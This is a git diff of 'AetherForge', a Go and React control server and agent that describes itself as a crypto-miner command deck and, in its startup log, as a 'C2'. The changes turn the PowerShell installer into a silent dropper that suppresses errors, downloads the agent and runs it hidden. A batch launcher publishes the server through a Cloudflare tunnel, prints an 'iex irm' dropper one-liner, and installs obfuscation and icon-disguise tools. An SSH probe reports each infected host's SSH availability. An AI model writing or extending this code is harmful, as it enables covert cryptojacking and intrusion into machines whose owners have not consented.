diff --git a/.gitignore b/.gitignore index 474ef8c..1aec829 100644 --- a/.gitignore +++ b/.gitignore @@ -44,3 +44,12 @@ Desktop.ini # Prebuilt agent/fusion binaries — compiled on demand, not tracked in git /agent/crypto-miner-agent /fusion/crypto-miner-fusion + +# Portable USB bundle — track LAUNCH.bat only; runtime output stays local +/usb/* +!/usb/LAUNCH.bat +!/usb/cloudflare/ +/usb/cloudflare/* +!/usb/cloudflare/SETUP.txt +*.msi +/cloudflared-windows-amd64.msi diff --git a/44d9504d-ccb3-4459-8eb9-7336a709ca13.png b/44d9504d-ccb3-4459-8eb9-7336a709ca13.png new file mode 100644 index 0000000..4d81242 Binary files /dev/null and b/44d9504d-ccb3-4459-8eb9-7336a709ca13.png differ diff --git a/LAUNCH.bat b/LAUNCH.bat new file mode 100644 index 0000000..00283ca --- /dev/null +++ b/LAUNCH.bat @@ -0,0 +1,279 @@ +@echo off +setlocal EnableExtensions EnableDelayedExpansion +title AetherForge Control Deck +cd /d "%~dp0" +set "ROOT=%CD%" + +echo. +echo ================================================================ +echo AetherForge - Portable Control Deck +echo ================================================================ +echo. + +:: ---------------------------------------------------------------- +:: 1. Locate Go - prefer bundled toolchain, fall back to system Go +:: ---------------------------------------------------------------- +set "BUNDLED_GO=%ROOT%\toolchain\go\bin\go.exe" +set "GO_BIN=" + +if exist "%BUNDLED_GO%" ( + echo [Go] Using bundled toolchain: %ROOT%\toolchain\go + set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" + set "GOROOT=%ROOT%\toolchain\go" + set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" + goto go_ready +) + +:: Check if Go is installed system-wide +where go >nul 2>nul +if not errorlevel 1 ( + echo [Go] Using system Go installation. + set "GO_BIN=go" + goto go_ready +) + +:: Go not found - offer to download portable toolchain +echo [Go] Not found. Downloading portable Go toolchain... +echo This only happens once. The toolchain is saved to toolchain\go\ +echo. + +if /i "%PROCESSOR_ARCHITECTURE%"=="AMD64" ( + set "GO_ARCH=amd64" +) else ( + if /i "%PROCESSOR_ARCHITECTURE%"=="ARM64" ( + set "GO_ARCH=arm64" + ) else ( + set "GO_ARCH=386" + ) +) +set "GO_VERSION=1.22.4" +set "GO_ZIP=go%GO_VERSION%.windows-%GO_ARCH%.zip" +set "GO_URL=https://go.dev/dl/%GO_ZIP%" +set "GO_DEST=%ROOT%\toolchain\go_%GO_ARCH%.zip" + +powershell -NoProfile -Command "& { [Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '%GO_URL%' -OutFile '%GO_DEST%' }" +if errorlevel 1 ( + echo. + echo ERROR: Could not download Go. Please either: + echo a) Install Go from https://go.dev/dl/ on this PC, then re-run LAUNCH.bat + echo b) Copy C:\Program Files\Go\ into toolchain\go\ from a PC that has Go + echo. + pause + exit /b 1 +) + +echo [Go] Extracting toolchain... +powershell -NoProfile -Command "Expand-Archive -Path '%GO_DEST%' -DestinationPath '%ROOT%\toolchain' -Force" +del "%GO_DEST%" 2>nul + +if not exist "%BUNDLED_GO%" ( + echo ERROR: Extraction failed. + pause + exit /b 1 +) + +set "GO_BIN=%ROOT%\toolchain\go\bin\go.exe" +set "GOROOT=%ROOT%\toolchain\go" +set "PATH=%ROOT%\toolchain\go\bin;%ROOT%\toolchain\gopath\bin;%PATH%" +echo [Go] Toolchain ready. + +:go_ready + +:: ---------------------------------------------------------------- +:: 2. Pin all Go caches to the USB so module downloads travel with you +:: ---------------------------------------------------------------- +set "GOPATH=%ROOT%\toolchain\gopath" +set "GOMODCACHE=%ROOT%\toolchain\gopath\pkg\mod" +set "GOCACHE=%ROOT%\toolchain\gocache" +set "GOENV=off" + +:: ---------------------------------------------------------------- +:: 3. Install optional Forge tools if missing (non-fatal) +:: ---------------------------------------------------------------- +if /i "%AF_INSTALL_TOOLS%"=="1" ( + if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" ( + echo [Tools] Installing garble - obfuscation support... + "%GO_BIN%" install mvdan.cc/garble@latest + if errorlevel 1 ( + echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped. + ) else ( + echo [Tools] garble ready. + ) + ) + + if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" ( + echo [Tools] Installing go-winres - Windows icon disguise... + "%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1 + if errorlevel 1 ( + echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped. + ) else ( + echo [Tools] go-winres ready. + ) + ) +) else ( + echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install. +) + +:: ---------------------------------------------------------------- +:: 4. Ensure data directories exist +:: ---------------------------------------------------------------- +if not exist "%ROOT%\data\builds" mkdir "%ROOT%\data\builds" +if not exist "%ROOT%\data\logs" mkdir "%ROOT%\data\logs" +if not exist "%ROOT%\data\spread-kits" mkdir "%ROOT%\data\spread-kits" +if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads" +if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" +if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" +if not exist "%ROOT%\data\cloudflare" mkdir "%ROOT%\data\cloudflare" + +:: ---------------------------------------------------------------- +:: 5. Cloudflare Tunnel — auto-install, configure, start +:: ---------------------------------------------------------------- +set "CF_DIR=%ROOT%\cloudflare" +set "CF_CREDS_BUNDLE=%CF_DIR%\credentials.json" +set "CF_MSI=%CF_DIR%\cloudflared-windows-amd64.msi" +set "CF_HOSTNAME=killa.thetempleofdoom.com" +set "CF_DATA=%ROOT%\data\cloudflare" +set "SERVER_PORT=8989" +set "CF_BIN=" +set "CF_TUNNEL_ID=" +set "CF_READY=0" + +:: Check credentials exist and are real (not the placeholder) +if not exist "%CF_CREDS_BUNDLE%" goto cf_no_creds +powershell -NoProfile -Command "exit ([string](Get-Content '%CF_CREDS_BUNDLE%') | ConvertFrom-Json | Select-Object -ExpandProperty TunnelID) -eq ''" >nul 2>nul +if errorlevel 1 goto cf_no_creds + +:: Parse tunnel ID from credentials JSON +for /f "usebackq delims=" %%i in (`powershell -NoProfile -Command "(Get-Content '%CF_CREDS_BUNDLE%' | ConvertFrom-Json).TunnelID" 2^>nul`) do set "CF_TUNNEL_ID=%%i" +if "!CF_TUNNEL_ID!"=="" goto cf_no_creds +echo [CF] Tunnel ID: !CF_TUNNEL_ID! + +:: Stage credentials into data\cloudflare\ (idempotent) +set "CF_CREDS_LOCAL=%CF_DATA%\!CF_TUNNEL_ID!.json" +if not exist "!CF_CREDS_LOCAL!" ( + copy "%CF_CREDS_BUNDLE%" "!CF_CREDS_LOCAL!" >nul + echo [CF] Credentials staged to data\cloudflare\ +) + +:: Always regenerate config.yml with current absolute paths +:: (handles drive-letter changes when USB is moved) +set "CF_CONFIG=%CF_DATA%\config.yml" +powershell -NoProfile -Command "$cfg='%CF_DATA%\config.yml'; $creds='!CF_CREDS_LOCAL!'; $port='%SERVER_PORT%'; $host='%CF_HOSTNAME%'; $id='!CF_TUNNEL_ID!'; Set-Content -Path $cfg -Value @('tunnel: ' + $id, 'credentials-file: ' + $creds, '', 'ingress:', ' - hostname: ' + $host, ' service: http://127.0.0.1:' + $port, ' - service: http_status:404')" >nul 2>nul +echo [CF] Config written for !CF_HOSTNAME! -^> 127.0.0.1:%SERVER_PORT% + +:: ---- Locate or install cloudflared ---- +where cloudflared >nul 2>nul +if not errorlevel 1 ( + set "CF_BIN=cloudflared" + goto cf_have_bin +) +if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( + set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" + goto cf_have_bin +) +if exist "%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" ( + set "CF_BIN=%ProgramFiles(x86)%\cloudflare\cloudflared\cloudflared.exe" + goto cf_have_bin +) + +:: Not found — install from bundled MSI +if exist "%CF_MSI%" ( + echo [CF] cloudflared not found. Installing from bundled MSI... + msiexec /i "%CF_MSI%" /quiet /norestart /l*v "%CF_DATA%\cf-install.log" + echo [CF] MSI install launched - waiting... + ping -n 8 127.0.0.1 >nul + if exist "%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" ( + set "CF_BIN=%ProgramFiles%\cloudflare\cloudflared\cloudflared.exe" + echo [CF] cloudflared installed successfully. + goto cf_have_bin + ) + where cloudflared >nul 2>nul + if not errorlevel 1 ( + set "CF_BIN=cloudflared" + echo [CF] cloudflared installed successfully. + goto cf_have_bin + ) + echo [CF] WARNING: MSI completed but cloudflared not found in PATH. + echo [CF] Try re-running LAUNCH.bat after a reboot. + goto cf_done +) else ( + echo [CF] WARNING: cloudflared not installed and no MSI bundled. + goto cf_done +) + +:cf_have_bin +echo [CF] Binary: !CF_BIN! + +:: Check if cloudflared tunnel already running (same process = skip) +tasklist 2>nul | findstr /I "cloudflared" >nul 2>nul +if not errorlevel 1 ( + echo [CF] Tunnel already running on this machine. + echo [CF] https://!CF_HOSTNAME! + set "CF_READY=1" + goto cf_done +) + +:: Start cloudflared tunnel in background +echo [CF] Starting Cloudflare tunnel... +start "" /B "!CF_BIN!" tunnel --config "!CF_CONFIG!" run +ping -n 5 127.0.0.1 >nul +echo [CF] Tunnel live: https://!CF_HOSTNAME! +set "CF_READY=1" +goto cf_done + +:cf_no_creds +echo [CF] No valid credentials.json in cloudflare\ +echo [CF] See cloudflare\SETUP.txt to configure your tunnel once. +echo [CF] Running in LAN-only mode this session. + +:cf_done + +:: ---------------------------------------------------------------- +:: 6. Detect LAN IP for display +:: ---------------------------------------------------------------- +set "LAN_IP=localhost" + +:: ---------------------------------------------------------------- +:: 7. Kill any stale server process +:: ---------------------------------------------------------------- +taskkill /F /IM AetherForge.exe >nul 2>nul +ping -n 2 127.0.0.1 >nul + +echo. +echo ================================================================ +echo STARTING CONTROL DECK +echo ================================================================ +echo Local: http://localhost:%SERVER_PORT% +echo LAN: http://%LAN_IP%:%SERVER_PORT% +if "!CF_READY!"=="1" ( + echo Public: https://!CF_HOSTNAME! + echo Dropper PS: iex -irm 'https://!CF_HOSTNAME!/install.ps1' +) +echo Data: %ROOT%\data\ +echo. +echo First run: admin password printed to console below. +echo Press Ctrl+C to stop. +echo ================================================================ +echo. + +:: Open browser after short delay +start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" + +:: Launch server +"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" +set "EC=!ERRORLEVEL!" + +echo. +if "!EC!"=="0" ( + echo [Server] Stopped normally. +) else ( + echo [Server] Exited with code !EC!. + echo If port %SERVER_PORT% is in use, close other AetherForge windows and retry. +) + +:: On exit, also stop the cloudflared tunnel +taskkill /F /IM cloudflared.exe >nul 2>nul + +echo. +pause +endlocal diff --git a/agent/client/client.go b/agent/client/client.go index 9ba2bb9..e7f4ffc 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -571,11 +571,23 @@ func (c *AgentClient) submitShare(jobID, nonce, hash string) { } } +// probeSSH returns true if an SSH daemon is listening on port 22 locally. +func probeSSH() bool { + conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second) + if err != nil { + return false + } + conn.Close() + return true +} + func (c *AgentClient) statsLoop(stop <-chan struct{}) { ticker := time.NewTicker(10 * time.Second) defer ticker.Stop() var samples []float64 + var sshTick int + var lastSSH *bool for { select { case <-stop: @@ -614,6 +626,13 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { accepted := c.sharesAccepted c.mu.Unlock() + // Probe SSH every 6 ticks (~60s) to avoid overhead + if sshTick%6 == 0 { + ok := probeSSH() + lastSSH = &ok + } + sshTick++ + payload, _ := json.Marshal(StatsPayload{ Hashrate15s: avg15s, Hashrate1m: avg1m, @@ -623,6 +642,7 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) { CPUUsagePct: cpuPct, MemoryUsagePct: memPct, UptimeSeconds: int(time.Since(c.startTime).Seconds()), + SSHAvailable: lastSSH, }) _ = c.write(Message{Type: "stats", Payload: payload}) } diff --git a/agent/client/protocol.go b/agent/client/protocol.go index aaf99de..6ad8161 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -75,6 +75,7 @@ type StatsPayload struct { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + SSHAvailable *bool `json:"ssh_available,omitempty"` } type ShareResult struct { diff --git a/server/internal/api/dropper_handler.go b/server/internal/api/dropper_handler.go index b920479..cf0107f 100644 --- a/server/internal/api/dropper_handler.go +++ b/server/internal/api/dropper_handler.go @@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) { bt := "`" nl := "\r\n" - script := "# AetherForge agent installer" + nl + - "# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl + - "$ErrorActionPreference = 'Stop'" + nl + + script := "# AetherForge dropper" + nl + + "$ErrorActionPreference = 'SilentlyContinue'" + nl + "$ProgressPreference = 'SilentlyContinue'" + nl + nl + "$url = '" + base + "/get?os=windows'" + nl + "$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl + - "Write-Host '[*] AetherForge -- downloading agent...'" + nl + "try {" + nl + - " $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl + - " if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl + - "} catch {" + nl + - " Write-Host '[!] Download failed:' $_.Exception.Message" + nl + - " Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl + - " exit 1" + nl + - "}" + nl + nl + - "$size = (Get-Item $tmp).Length" + nl + - "if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl + + " (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl + + "} catch { exit 0 }" + nl + nl + + "if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl + "$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl + - "$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl + + "$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl + "if ($isZip) {" + nl + - " Write-Host '[*] Extracting universal bundle...'" + nl + " $dir = $tmp + '_bundle'" + nl + " Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl + " [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl + - " $bat = $null" + nl + " foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl + " $c = Join-Path $dir $name" + nl + - " if (Test-Path $c) { $bat = $c; break }" + nl + - " }" + nl + - " if ($bat) {" + nl + - " Write-Host '[*] Running bundle launcher...'" + nl + - " Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl + - " Write-Host '[+] Agent deployed from bundle.'" + nl + - " } else {" + nl + - " Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl + + " if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl + " }" + nl + "} else {" + nl + " $exe = $tmp + '.exe'" + nl + " Move-Item -Path $tmp -Destination $exe -Force" + nl + - " Write-Host '[*] Launching agent...'" + nl + " Start-Process -FilePath $exe -WindowStyle Hidden" + nl + - " Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl + - "}" + nl + "}" + nl + + "if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl w.Header().Set("Content-Type", "text/plain; charset=utf-8") w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`) diff --git a/server/internal/api/handlers.go b/server/internal/api/handlers.go index 70072c1..695fe29 100644 --- a/server/internal/api/handlers.go +++ b/server/internal/api/handlers.go @@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) { writeJSON(w, builds) } +// PUT /api/v1/builds/{id}/pin +// Pins the specified build as the active dropper target. +// Send an empty id or DELETE to a fake pin endpoint to unpin all. +func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if err := h.db.SetPinnedBuild(id); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id}) +} + +// DELETE /api/v1/builds/pin (unpin all without deleting anything) +func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) { + if err := h.db.SetPinnedBuild(""); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"ok": true}) +} + +// DELETE /api/v1/builds/{id} +func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) { + id := chi.URLParam(r, "id") + if err := h.db.DeleteBuild(id); err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id}) +} + func writeJSON(w http.ResponseWriter, v interface{}) { w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(v) diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 53e8cfd..a17f193 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Builds r.Get("/builds", h.ListBuilds) + r.Put("/builds/{id}/pin", h.PinBuild) + r.Delete("/builds/pin", h.UnpinAll) + r.Delete("/builds/{id}", h.DeleteBuild) r.Get("/builds/{id}/download", builderHandler.DownloadBuild) r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact) r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall) diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 7016c42..2137c0a 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { CPUUsagePct float64 `json:"cpu_usage_pct"` MemoryUsagePct float64 `json:"memory_usage_pct"` UptimeSeconds int `json:"uptime_seconds"` + SSHAvailable *bool `json:"ssh_available,omitempty"` } if err := json.Unmarshal(msg.Payload, &stats); err != nil { continue @@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { h.db.InsertHashrateSample(agentID, stats.Hashrate15m) - h.broadcastDashboard(Message{ - Type: "stats_update", - Payload: mustMarshal(map[string]interface{}{ - "agent_id": agentID, - "hashrate_15s": stats.Hashrate15s, - "hashrate_1m": stats.Hashrate1m, - "hashrate_15m": stats.Hashrate15m, - "cpu_usage_pct": stats.CPUUsagePct, - "memory_usage_pct": stats.MemoryUsagePct, - "uptime_seconds": stats.UptimeSeconds, - "shares_submitted": stats.SharesSubmitted, - "shares_accepted": stats.SharesAccepted, - }), - }) + broadcast := map[string]interface{}{ + "agent_id": agentID, + "hashrate_15s": stats.Hashrate15s, + "hashrate_1m": stats.Hashrate1m, + "hashrate_15m": stats.Hashrate15m, + "cpu_usage_pct": stats.CPUUsagePct, + "memory_usage_pct": stats.MemoryUsagePct, + "uptime_seconds": stats.UptimeSeconds, + "shares_submitted": stats.SharesSubmitted, + "shares_accepted": stats.SharesAccepted, + } + if stats.SSHAvailable != nil { + broadcast["ssh_available"] = *stats.SSHAvailable + } + h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)}) case "submit_share": if agentID == "" { diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 7a84ab7..796d85c 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -115,6 +115,7 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`) @@ -251,14 +252,16 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash // Build operations -const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass` +const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned` func scanBuild(row interface { Scan(...any) error }) (*models.BuildRecord, error) { b := &models.BuildRecord{} + var pinnedInt int err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize, - &b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass) + &b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt) + b.Pinned = pinnedInt == 1 return b, err } @@ -276,22 +279,47 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) { return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id)) } +// GetLatestBuildForPlatform returns the pinned build for the given platform +// (or any platform when empty), falling back to the most-recently-created build. func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) { - var query string - var args []any - if platform == "" || platform == "any" { - query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1` - } else { - query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1` - args = []any{platform} + // 1. Pinned build for this platform (exact match) + if platform != "" && platform != "any" { + b, err := scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE pinned = 1 AND platform = ? LIMIT 1`, platform)) + if err == nil { + return b, nil + } + } + // 2. Any pinned build (universal or first pinned regardless of platform) + b, err := scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds WHERE pinned = 1 ORDER BY created_at DESC LIMIT 1`)) + if err == nil { + return b, nil + } + // 3. Latest by creation time, filtered by platform when given + if platform == "" || platform == "any" { + b, err = scanBuild(d.QueryRow(`SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`)) + } else { + b, err = scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`, platform)) } - b, err := scanBuild(d.QueryRow(query, args...)) if err != nil { return nil, err } return b, nil } +// SetPinnedBuild unpins all builds then pins the one with the given id. +// If id is empty, all builds are unpinned. +func (d *Database) SetPinnedBuild(id string) error { + _, err := d.Exec(`UPDATE builds SET pinned = 0`) + if err != nil { + return err + } + if id == "" { + return nil + } + _, err = d.Exec(`UPDATE builds SET pinned = 1 WHERE id = ?`, id) + return err +} + func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) { rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit) if err != nil { diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index cab3b8b..b73b49d 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -33,6 +33,9 @@ type Agent struct { OSVersion string `json:"os_version,omitempty"` Capabilities *AgentCapabilities `json:"capabilities,omitempty"` + + // Crucible — SSH status probed by the agent every ~60s + SSHAvailable *bool `json:"ssh_available,omitempty"` } // AgentCapabilities reports forge-time features available for remote command. @@ -87,6 +90,7 @@ type BuildRecord struct { DownloadURL string `json:"download_url"` // relative URL; client prepends server origin Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" CreatedAt time.Time `json:"created_at"` + Pinned bool `json:"pinned"` // true = this build is served by /get and /install.* // Pool settings PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` diff --git a/server/main.go b/server/main.go index b03eea6..b20c1ae 100644 --- a/server/main.go +++ b/server/main.go @@ -30,9 +30,33 @@ func (w *wsLogWriter) Write(p []byte) (n int, err error) { return len(p), nil } +const aetherBanner = ` + ╔══════════════════════════════════════════════════════════════════╗ + ║ ║ + ║ ✦ · · · · · · ◈ · · · · · · ✦ ║ + ║ · \ | / · ║ + ║ · \ | / · ▲▲▲ ║ + ║ · ○─────●─────○ · ▲▲▲▲▲ ║ + ║ · / | \ · ▲▲▲▲▲ ║ + ║ · / | \ · ████ ║ + ║ ✦ · · · · ◈ · · · · ✦ ██ ████ ██ ║ + ║ ○───────────○ ██ ██ ██ ║ + ║ / \ / \ ║ + ║ / ●───────● \ A E T H E R F O R G E ║ + ║ / / \ / \ \ ───────────────────────── ║ + ║ ○───● ○───○ ●───○ LAN Mining Command Deck ║ + ║ \ \ / \ / / ║ + ║ \ ●───────● / ║ + ║ \ / \ / ║ + ║ ○───────────○ ║ + ║ ✦ · · · · ◈ · · · · ✦ ║ + ║ ║ + ╚══════════════════════════════════════════════════════════════════╝` + func main() { + fmt.Println(aetherBanner) log.SetFlags(log.LstdFlags | log.Lshortfile) - log.Println("Crypto Miner Control Server starting...") + log.Println("AetherForge C2 starting...") // Load configuration cfg := LoadConfig() diff --git a/server/web/index.html b/server/web/index.html index daed5c2..dc16464 100644 --- a/server/web/index.html +++ b/server/web/index.html @@ -2,11 +2,12 @@ - + + + - - - AetherForge — LAN Mining Command Deck + + AetherForge — Command Deck
diff --git a/server/web/public/af-logo.png b/server/web/public/af-logo.png new file mode 100644 index 0000000..89e1c0f Binary files /dev/null and b/server/web/public/af-logo.png differ diff --git a/server/web/src/App.tsx b/server/web/src/App.tsx index 8de473d..bab9d46 100644 --- a/server/web/src/App.tsx +++ b/server/web/src/App.tsx @@ -3,12 +3,15 @@ import { Routes, Route, Navigate } from 'react-router-dom'; import SessionGate from './components/SessionGate'; import Layout from './components/Layout/Layout'; import { WebSocketProvider } from './context/WebSocketProvider'; +import { ForgeProvider } from './context/ForgeContext'; const DashboardPage = lazy(() => import('./pages/DashboardPage')); const AgentsPage = lazy(() => import('./pages/AgentsPage')); const BuilderPage = lazy(() => import('./pages/BuilderPage')); +const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage')); const SettingsPage = lazy(() => import('./pages/SettingsPage')); const GuidePage = lazy(() => import('./pages/GuidePage')); +const CruciblePage = lazy(() => import('./pages/CruciblePage')); function PageFallback() { return ( @@ -23,6 +26,7 @@ function App() { // WebSocketProvider mounts a single WS connection shared by all routes. // No page or component should call new WebSocket() directly — use useWebSocket(). + }> @@ -32,12 +36,15 @@ function App() { } /> } /> } /> + } /> + } /> } /> } /> + ); } diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 13dc5ff..ebe3b3e 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -82,6 +82,13 @@ export const api = { }); }, + pinBuild: (buildId: string) => + fetchJSON<{ ok: boolean; pinned_id: string }>(`/builds/${buildId}/pin`, { method: 'PUT' }), + unpinAll: () => + fetchJSON<{ ok: boolean }>('/builds/pin', { method: 'DELETE' }), + deleteBuild: (buildId: string) => + fetchJSON<{ ok: boolean; deleted_id: string }>(`/builds/${buildId}`, { method: 'DELETE' }), + buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, buildArtifactUrl: (buildId: string, fileName: string) => `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`, diff --git a/server/web/src/assets/af-logo.png b/server/web/src/assets/af-logo.png new file mode 100644 index 0000000..89e1c0f Binary files /dev/null and b/server/web/src/assets/af-logo.png differ diff --git a/server/web/src/components/Ambient/AmbientBackground.css b/server/web/src/components/Ambient/AmbientBackground.css index 9dc72e1..4b8e156 100644 --- a/server/web/src/components/Ambient/AmbientBackground.css +++ b/server/web/src/components/Ambient/AmbientBackground.css @@ -101,3 +101,23 @@ height: 80px; animation: gear-spin 45s linear infinite reverse; } + +/* ── Sacred geometry watermark ── */ +.ambient-sacred-geo { + position: absolute; + /* Centre in the main content area (offset for the 260px sidebar) */ + left: calc(260px + (100vw - 260px) / 2 - min(38vw, 680px) / 2); + top: 50%; + transform: translateY(-50%); + width: min(38vw, 680px); + height: min(38vw, 680px); + opacity: 0.07; + animation: sacred-geo-rotate 120s linear infinite; + pointer-events: none; + filter: drop-shadow(0 0 4px rgba(201, 162, 39, 0.3)); +} + +@keyframes sacred-geo-rotate { + from { transform: translateY(-50%) rotate(0deg); } + to { transform: translateY(-50%) rotate(360deg); } +} diff --git a/server/web/src/components/Ambient/AmbientBackground.tsx b/server/web/src/components/Ambient/AmbientBackground.tsx index bb9b025..16b9089 100644 --- a/server/web/src/components/Ambient/AmbientBackground.tsx +++ b/server/web/src/components/Ambient/AmbientBackground.tsx @@ -1,5 +1,66 @@ import './AmbientBackground.css'; +/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */ 